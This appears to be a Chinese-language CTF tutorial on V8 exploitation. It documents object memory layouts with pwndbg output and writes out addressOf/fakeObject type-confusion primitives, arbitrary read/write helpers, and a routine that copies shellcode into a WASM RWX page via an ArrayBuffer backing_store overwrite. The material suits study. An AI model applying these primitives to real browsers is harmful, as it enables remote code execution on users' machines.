V8-通用利用链

首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?

一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。

WASM的利用

既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:

1
2
3
4
5
6
7
8
9
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

此处调用了 WebAssembly 模块为 WASM 创建专用的内存段,当我们执行到第二个断点后,通过 “vmmap” 指令可以发现内存中多了一个特殊的内存段:

1
2
pwndbg> vmmap
0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]

那么现在这段内存就能够为我们所用了。如果我们向其中写入 shellcode ,日后在执行 WASM 时就会转而执行我们写入的攻击代码了

由于 v8 一般都是开启了所有保护的,为此我们需要像 CTF 题那样先泄露地址,然后再达成任意地址写

这里会有一个疑问,既然是浏览器,难道不能自己构建WASM直接拿下吗?怎么还需要自己去写 shellcode?

结论是,WASM不允许执行需要系统调用才能完成的操作。 更准确的说,WASM并不是汇编代码,而是 v8 会根据这段数据生成一段汇编然后加载到内存段中去执行,而检查该代码是否存在系统调用就发生在这一步。 如果通过构造合法的WASM使其创造内存段,然后在之后的操作里写入非法的 Shellcode,就能够完成利用了。

高版本的变化

这里有一个不得不说的问题是,在后来的版本中,不会再开辟这样的内存段了

我们可以先看看现在这个内存段中放入的数据是什么:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> vmmap
0x226817c0d000 0x226817c0e000 rwxp 1000 0 [anon_226817c0d]

pwndbg> tel 0x226817c0d000 20
00:0000│ 0x226817c0d000 ◂— jmp 0x226817c0d480 /* 0xcccccc0000047be9 */
01:0008│ 0x226817c0d008 ◂— int3 /* 0xcccccccccccccccc */
... ↓ 6 skipped
08:0040│ 0x226817c0d040 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
09:0048│ 0x226817c0d048 —▸ 0x55b126522940 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x2d6
0a:0050│ 0x226817c0d050 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
0b:0058│ 0x226817c0d058 —▸ 0x55b126522980 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x2d8
0c:0060│ 0x226817c0d060 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
0d:0068│ 0x226817c0d068 —▸ 0x55b1265229c0 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x2da
0e:0070│ 0x226817c0d070 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
0f:0078│ 0x226817c0d078 —▸ 0x55b126522a00 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x2dc
10:0080│ 0x226817c0d080 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
11:0088│ 0x226817c0d088 —▸ 0x55b126522a40 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x2de
12:0090│ 0x226817c0d090 ◂— jmp qword ptr [rip + 2] /* 0x90660000000225ff */
13:0098│ 0x226817c0d098 —▸ 0x55b126522a80 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x2e0

接下来笔者换到了截至至 2022.7.5 为止的最新版,我们再次重复之前的操作,看看这次 WASM 被放到了哪里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> vmmap
0x88d46808000 0x88d46809000 r-xp 1000 0 [anon_88d46808]

pwndbg> tel 0x88d46808000 20
00:0000│ 0x88d46808000 ◂— jmp 0x88d46808580
01:0008│ 0x88d46808008 ◂— int3
... ↓ 6 skipped
08:0040│ 0x88d46808040 ◂— jmp qword ptr [rip + 2]
09:0048│ 0x88d46808048 —▸ 0x7f7da298ca80 (Builtins_ThrowWasmTrapUnreachable) ◂— mov eax, 0x31e
0a:0050│ 0x88d46808050 ◂— jmp qword ptr [rip + 2]
0b:0058│ 0x88d46808058 —▸ 0x7f7da298cac0 (Builtins_ThrowWasmTrapMemOutOfBounds) ◂— mov eax, 0x320
0c:0060│ 0x88d46808060 ◂— jmp qword ptr [rip + 2]
0d:0068│ 0x88d46808068 —▸ 0x7f7da298cb00 (Builtins_ThrowWasmTrapUnalignedAccess) ◂— mov eax, 0x322
0e:0070│ 0x88d46808070 ◂— jmp qword ptr [rip + 2]
0f:0078│ 0x88d46808078 —▸ 0x7f7da298cb40 (Builtins_ThrowWasmTrapDivByZero) ◂— mov eax, 0x324
10:0080│ 0x88d46808080 ◂— jmp qword ptr [rip + 2]
11:0088│ 0x88d46808088 —▸ 0x7f7da298cb80 (Builtins_ThrowWasmTrapDivUnrepresentable) ◂— mov eax, 0x326
12:0090│ 0x88d46808090 ◂— jmp qword ptr [rip + 2]
13:0098│ 0x88d46808098 —▸ 0x7f7da298cbc0 (Builtins_ThrowWasmTrapRemByZero) ◂— mov eax, 0x328
pwndbg>

这段新增的内存段内容是完全相同的,但区别在于,高版本下的 WASM 内存段不再可写了,只有可读可执行权限,似乎不再能这样攻击了

不过最开始的学习总归是从低版本向着高版本发展,接下来的内容也将以 “9.6.180.6” 版本为准,就像最开始学习 PWN 时从 Glibc2.23 开始那样(不过我估计有的大佬会从更低的版本开始……)

数据储存方式

用下面的脚本简单看看每个对象在内存中是如何储存的:

1
2
3
4
5
6
7
8
9
10
11
//demo.js
%SystemBreak();
a= [2.1];
b={"a":1};
c=[b];
d=[1,2,3];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%DebugPrint(d);
%SystemBreak();

JSArray:a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> hex 0x3ea308085b99-1
+0000 0x3ea308085b98 09 19 24 08 e9 06 04 08 89 5b 08 08 02 00 00 00
+0010 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00
+0020 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08
+0030 0x3ea308085bc8 61 53 04 08 88 00 00 00 02 00 00 00 b1 04 04 08

pwndbg> job 0x3ea308085b99
0x3ea308085b99: [JSArray]
- map: 0x3ea308241909 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3ea3082092dd <JSArray[0]>
- elements: 0x3ea308085b89 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x3ea3080406e9 <FixedArray[0]> {
#length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3ea308085b89 <FixedDoubleArray[1]> {
0: 2.1
}

可以看出,一个 JSArray 在内存中的布局如下:

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |

image-20250614111932613

而其 elements 结构体的内存布局如下:

1
2
3
4
5
6
7
8
9
10
pwndbg> job 0x3ea308085b89
0x3ea308085b89: [FixedDoubleArray]
- map: 0x3ea308040a3d <Map>
- length: 1
0: 2.1
pwndbg> hex 0x3ea308085b89-1
+0000 0x3ea308085b88 3d 0a 04 08 02 00 00 00 cd cc cc cc cc cc 00 40
+0010 0x3ea308085b98 09 19 24 08 e9 06 04 08 89 5b 08 08 02 00 00 00
+0020 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00
+0030 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08

image-20250614112617204

1
| 32bit map addr | 32bit length | 64bit value |

并且我们可以注意到,elements+0x10=&a,这说明这两个结构体在内存上相邻,如果 elements 的内容溢出了,就有可能覆盖 DoubleArray 结构体中的数据

1
2
| 32bit map addr | 32bit length          | 64bit value                        |elements
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray

v8 储存数据的方式有些特别,它会让这些整数都乘以二,也包括数组的长度,因此当 job 认为该地址是一个数字类型时,会将其除以二后的值当作本来的值,或者说,将原值左移一位后储存。这里的 length 也都被乘以二了

JS_OBJECT_TYPE:b

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> job 0x3ea308085ba9
0x3ea308085ba9: [JS_OBJECT_TYPE]
- map: 0x3ea308244e01 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3ea30820134d <Object map = 0x3ea3082401c1>
- elements: 0x3ea3080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3ea3080406e9 <FixedArray[0]> {
#a: 1 (const data field 0)
}
pwndbg> hex 0x3ea308085ba9-1
+0000 0x3ea308085ba8 01 4e 24 08 e9 06 04 08 e9 06 04 08 02 00 00 00
+0010 0x3ea308085bb8 c5 01 04 08 01 00 01 00 00 00 00 00 6d 11 04 08
+0020 0x3ea308085bc8 61 53 04 08 88 00 00 00 02 00 00 00 b1 04 04 08
+0030 0x3ea308085bd8 02 00 00 00 a9 5b 08 08 59 19 24 08 e9 06 04 08

image-20250614113304860

大致的内存结构如下:

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |

但这个结构体的 elements 就没有和 JS_OBJECT_TYPE 相邻了,因此一般不存在可利用的地方

JSArray:c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x3ea308085be1
0x3ea308085be1: [JSArray]
- map: 0x3ea308241959 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3ea3082092dd <JSArray[0]>
- elements: 0x3ea308085bd5 <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x3ea3080406e9 <FixedArray[0]> {
#length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3ea308085bd5 <FixedArray[1]> {
0: 0x3ea308085ba9 <Object map = 0x3ea308244e01>
}
pwndbg> hex 0x3ea308085be1-1
+0000 0x3ea308085be0 59 19 24 08 e9 06 04 08 d5 5b 08 08 02 00 00 00
+0010 0x3ea308085bf0 69 18 24 08 e9 06 04 08 65 00 21 08 06 00 00 00
+0020 0x3ea308085c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+0030 0x3ea308085c10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
pwndbg> job 0x3ea308085bd5
0x3ea308085bd5: [FixedArray]
- map: 0x3ea3080404b1 <Map>
- length: 1
0: 0x3ea308085ba9 <Object map = 0x3ea308244e01>
pwndbg> hex 0x3ea308085bd5-1
+0000 0x3ea308085bd4 b1 04 04 08 02 00 00 00 a9 5b 08 08 59 19 24 08
+0010 0x3ea308085be4 e9 06 04 08 d5 5b 08 08 02 00 00 00 69 18 24 08
+0020 0x3ea308085bf4 e9 06 04 08 65 00 21 08 06 00 00 00 00 00 00 00
+0030 0x3ea308085c04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

image-20250614113724766

同为 JSArray 实体,因此内存布局与变量 a 相同,但不同的是,由于 a 中存放的是 double 类型的浮点数,其 value 占用 64bit,而变量 c 中存放的是地址,由于地址压缩的缘故,其 value 只占用 32bit,但同样与 JSArray 结构体在内存上相邻。

1
2
| 32bit map addr | 32bit length          | 32bit value                        |elements
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray

JSArray:d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> job 0x3ea308085bf1
0x3ea308085bf1: [JSArray]
- map: 0x3ea308241869 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3ea3082092dd <JSArray[0]>
- elements: 0x3ea308210065 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x3ea3080406e9 <FixedArray[0]> {
#length: 0x3ea308180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3ea308210065 <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> hex 0x3ea308085bf1-1
+0000 0x3ea308085bf0 69 18 24 08 e9 06 04 08 65 00 21 08 06 00 00 00
+0010 0x3ea308085c00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
... ↓ skipped 1 identical lines (16 bytes)
+0030 0x3ea308085c20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
pwndbg> job 0x3ea308210065
0x3ea308210065: [FixedArray] in OldSpace
- map: 0x3ea3080404d9 <Map>
- length: 3
0: 1
1: 2
2: 3
pwndbg> hex 0x3ea308210065-1
+0000 0x3ea308210064 d9 04 04 08 06 00 00 00 02 00 00 00 04 00 00 00
+0010 0x3ea308210074 06 00 00 00 c9 11 04 08 00 00 00 00 65 00 21 08
+0020 0x3ea308210084 89 04 04 08 00 00 00 00 b1 04 04 08 10 00 00 00
+0030 0x3ea308210094 41 00 21 08 61 53 04 08 1d 00 21 08 fd 53 04 08

image-20250614114208300

整数和浮点数数组没有什么差别,但它们在内存上不再相邻了,并且需要注意的是,其储存的数据也都被乘以二了,因此后续的利用中往往需要用浮点数去溢出,而不能直接了当的用整数数据溢出

1
2
3
4
5
| 32bit map addr | 32bit length          | 32bit value                        |elements

不相邻

| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray

类型识别

既然 a、c、d 三个变量都是 JSArray,肯定还需要一个结构用来区别其中储存的数据类型

我们尝试读取 a 和 d 两个数组的 map 结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> job 0x3ea308241909
0x3ea308241909: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3ea3082418e1 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3ea308180451 <Cell value= 1>
- instance descriptors #1: 0x3ea308209965 <DescriptorArray[1]>
- transitions #1: 0x3ea3082099b1 <TransitionArray[4]>Transition array #1:
0x3ea308042f09 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x3ea308241931 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x3ea3082092dd <JSArray[0]>
- constructor: 0x3ea3082091b1 <JSFunction Array (sfi = 0x3ea30818927d)>
- dependent code: 0x3ea3080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> job 0x3ea308241869
0x3ea308241869: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3ea30804030d <undefined>
- prototype_validity cell: 0x3ea308180451 <Cell value= 1>
- instance descriptors #1: 0x3ea308209965 <DescriptorArray[1]>
- transitions #1: 0x3ea308209981 <TransitionArray[4]>Transition array #1:
0x3ea308042f09 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3ea3082418e1 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x3ea3082092dd <JSArray[0]>
- constructor: 0x3ea3082091b1 <JSFunction Array (sfi = 0x3ea30818927d)>
- dependent code: 0x3ea3080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

注意到 map 结构体中存在一项成员用以标注 elements 类型:

1
- elements kind: PACKED_DOUBLE_ELEMENTS

并且两个都是 JS_ARRAY_TYPE,大多数数据都是相同的,因此可以直接将一个变量的 map 地址赋给另外一个变量,使得在读取值时错误解析数据类型,也就是所谓的“类型混淆”

类型混淆是有可能造成地址泄露的,可以考虑这样的伪代码:

1
2
3
4
5
float_arr= [2.1];
obj_arr=[float_arr];
%DebugPrint(a);
%DebugPrint(b);
%SystemBreak();

正常访问 obj_arr[0] 会得到一个对象,但如果修改 obj_arr 的 map 为 float_arr 的 map,就会认为 obj_arr 是一个浮点数数组,那么此时访问 obj_arr[0] 就会得到对象 float_arr 的地址了

注:对于没有接触过 Java 或 JavaScript 的读者来说可能会产生困惑,为什么需要通过这种麻烦的方式来获取地址,而不能像 C/C++ 那样直接把对象地址打印出来?

简单来说,就是 JavaScript 不支持这种操作,它将一切视为对象或整数,消除了所谓“地址”的概念。 对 JavaScript 来说,例子中的 obj_arr[0] 储存的是一个 “对象” 而非 “地址”,访问该对象的返回值必然会是一个具体的 “对象”。(哪怕我们通过调试能够发现,它储存的就是一个地址,但在代码层面,我们没有获取该值的手段)

任意变量地址读

正如我们上一节所说,JavaScript 不允许我们直接读取某一个地址,但通过 “类型混淆” 的方法能够让 v8引擎 将一个地址误认为整数,并将其读出

addressOf

同上所述,我们讲这种类型混淆的读取地址方法称之为 “addressOf”

其一般的写法如下:

1
2
3
4
5
6
7
8
9
10
11
12
//获取某个变量的地址
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值
function addressOf(target_var)
{
obj_array[0]=target_var;
obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map
let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型
return target_var_addr;//此处返回的是 target_var 的对象结构体地址
}

该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象

fakeObject

与 addressOf 的步骤相反,将 float_arr 的 map 改为 obj_arr 的 map,使得在访问 float_arr[0] 时得到一个以 float_arr[0] 地址为起始的对象

1
2
3
4
5
6
7
8
9
10
11
12
//将某个地址转换为对象
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值
function fakeObject(target_addr)
{
double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值
double_array.setMap(obj_array_map);
let fake_obj=double_array[0];
return fake_obj;
}

该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象

任意地址读

可以尝试构造出这样一个结构:

1
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];

其在内存中的布局应为:

1
2
| 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element
| 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray

接下来通过 addressOf 获取 fake_array 的地址,然后就能够计算出 double_array_map 的地址;再通过 fakeObject 将这个地址伪造成一个对象数组,对比下面的内存布局:

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray

此处的 fake_array[0] 成为了 JSArray 的 map 和 properties ,fake_array[1] 被当作了 elements addr 和 length,通过修改 fake_array[1] 就能够使该 elements 指向任意地址,再访问 fakeObject[0] 即可读取该地址处的数据了(此处 double_array_map 需要对应为一个 double 数组的 map)

代码逻辑大致如下:

1
2
3
4
5
6
7
8
9
10
11
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function read64_addr(addr)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
return fake_object[0];

}

任意地址写

同上一小节一样,只需要将最后的 return 修改为写入即可:

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function write64_addr(addr,data)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
fake_object[0]=data;
}

写入shellcode

参考了几篇其他师傅们所写的博客后,会发现目前所实现的任意地址写并不能正常工作,大致原因如下:

  • 设置的 elements 地址为 addr-8n+1n,我们想要写 shellcode 的地址一般都是内存段在开头,那么更前面的内存空间则是未开辟的,写入时会因为访问未开辟的内存空间发生异常
  • 另外一个原因是,在尝试写 d8 的 free_hook 或 malloc_hook 时,由于其地址都是以 0x7f 开头,而 Double 类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点尚未确定,仅作记录)

因此直接性的写入不太能够成功,但间接性的方法或许还是存在的,如果向某个对象中写入数据不需要经过 map 和 length,或许就能够顺利完成了。

不过 JavaScript 还真的提供了这样的操作:

1
2
3
4
5
6
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pwndbg> job 0x356708085ba9
0x356708085ba9: [JSArrayBuffer]
- map: 0x356708241189 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x356708207929 <Object map = 0x3567082411b1>
- elements: 0x3567080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x5652a4bbfad0
- byte_length: 16
- detachable
- properties: 0x3567080406e9 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> job 0x356708085be1
0x356708085be1: [JSDataView]
- map: 0x356708240c39 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x356708205c29 <Object map = 0x356708240c61>
- elements: 0x3567080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x356708085ba9 <ArrayBuffer map = 0x356708241189>
- byte_offset: 0
- byte_length: 16
- properties: 0x3567080406e9 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> hex 0x356708085ba9-1
+0000 0x356708085ba8 89 11 24 08 e9 06 04 08 e9 06 04 08 10 00 00 00
+0010 0x356708085bb8 00 00 00 00 d0 fa bb a4 52 56 00 00 f0 fa bb a4
+0020 0x356708085bc8 52 56 00 00 02 00 00 00 00 00 00 00 00 00 00 00
+0030 0x356708085bd8 00 00 00 00 00 00 00 00 39 0c 24 08 e9 06 04 08
pwndbg>
+0040 0x356708085be8 e9 06 04 08 a9 5b 08 08 00 00 00 00 00 00 00 00
+0050 0x356708085bf8 10 00 00 00 00 00 00 00 d0 fa bb a4 52 56 00 00
+0060 0x356708085c08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+0070 0x356708085c18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

pwndbg> hex 0x5652a4bbfad0
+0000 0x5652a4bbfad0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
+0010 0x5652a4bbfae0 00 00 00 00 00 00 00 00 31 00 00 00 00 00 00 00
+0020 0x5652a4bbfaf0 00 00 06 4c 2e 7f 00 00 60 bd c5 a4 52 56 00 00
+0030 0x5652a4bbfb00 60 03 bc a4 52 56 00 00 00 00 00 00 00 00 00 00
pwndbg> tel 0x5652a4bbfad0
00:0000│ 0x5652a4bbfad0 ◂— 0x4000000000000000
01:0008│ 0x5652a4bbfad8 ◂— 0
02:0010│ 0x5652a4bbfae0 ◂— 0
03:0018│ 0x5652a4bbfae8 ◂— 0x31 /* '1' */

image-20250614153712277

可以注意到,JSDataView 的 buffer 指向了 JSArrayBuffer,而 JSArrayBuffer 的 backing_store 则指向了实际的数据储存地址,那么如果我们能够写 backing_store 为 shellcode 内存段,就可以通过 JSDataView 的 setFloat64 方法直接写入了

而该成员在 data_buf+0x1C 处

每个成员的地址偏移都会因为版本而迁移,这一点还请读者以自己手上的版本为准

1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.lenght*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x18n;
write64_addr(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

该函数需要根据实际情况自行修改,示例代码仅做了一些逻辑抽象 并且由于数据压缩的原因,获取 buf_backing_store_addr 的操作有可能不只是一次 addressOf 即可完成的,需要将低位和高位分别读出然后合并为 64 位地址后再写入,这里只做逻辑抽象,具体实践在以后的章节中另外补充

根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

然后是获取写入内存段的地址了,回到开始的这个脚本:

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pwndbg> job 0x1ef0821046d
0x1ef0821046d: [WasmInstanceObject] in OldSpace
- map: 0x01ef082448d9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x01ef080846d1 <Object map = 0x1ef08244e51>
- elements: 0x01ef080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x01ef08085e79 <Module map = 0x1ef08244771>
- exports_object: 0x01ef08085ff1 <Object map = 0x1ef08244ef1>
- native_context: 0x01ef08200f51 <NativeContext[239]>
- memory_object: 0x01ef08210455 <Memory map = 0x1ef08244b81>
- table 0: 0x01ef08085fc5 <Table map = 0x1ef082449f1>
- imported_function_refs: 0x01ef080406e9 <FixedArray[0]>
- indirect_function_table_refs: 0x01ef080406e9 <FixedArray[0]>
- managed_native_allocations: 0x01ef08085f7d <Foreign>
- memory_start: 0x7fe558000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55b039645530
- globals_start: (nil)
- imported_mutable_globals: 0x55b039645550
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x01ef080406e9 <FixedArray[0]> {}

pwndbg> tel 0x1ef0821046d-1
00:0000│ 0x1ef0821046c ◂— 0x80406e9082448d9
01:0008│ 0x1ef08210474 ◂— 0x58000000080406e9
02:0010│ 0x1ef0821047c ◂— 0x1000000007fe5
03:0018│ 0x1ef08210484 ◂— 0xffff00000000
04:0020│ 0x1ef0821048c ◂— 0x6000000000
05:0028│ 0x1ef08210494 ◂— 0x80406e9000001ef
06:0030│ 0x1ef0821049c —▸ 0x55b039645530 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0
07:0038│ 0x1ef082104a4 ◂— 0x80406e9
pwndbg>
08:0040│ 0x1ef082104ac ◂— 0
... ↓ 2 skipped
0b:0058│ 0x1ef082104c4 —▸ 0x55b039645550 —▸ 0x7fe75f96fbe0 (main_arena+96) —▸ 0x55b0396d11d0 ◂— 0
0c:0060│ 0x1ef082104cc —▸ 0x1ef00000000 —▸ 0x7ffc9ba6d218 ◂— 0x1ef00000000
0d:0068│ 0x1ef082104d4 —▸ 0xed201826000 ◂— jmp 0xed201826380 /* 0xcccccc0000037be9 */
0e:0070│ 0x1ef082104dc ◂— 0x8085ff108085e79
0f:0078│ 0x1ef082104e4 ◂— 0x821045508200f51
pwndbg>
10:0080│ 0x1ef082104ec ◂— 0x804030d0804030d
11:0088│ 0x1ef082104f4 ◂— 0x804030d0804030d
12:0090│ 0x1ef082104fc ◂— 0x8085fe508085fb9
13:0098│ 0x1ef08210504 ◂— 0x804030d08085f7d
14:00a0│ 0x1ef0821050c ◂— 0x80406e908086029
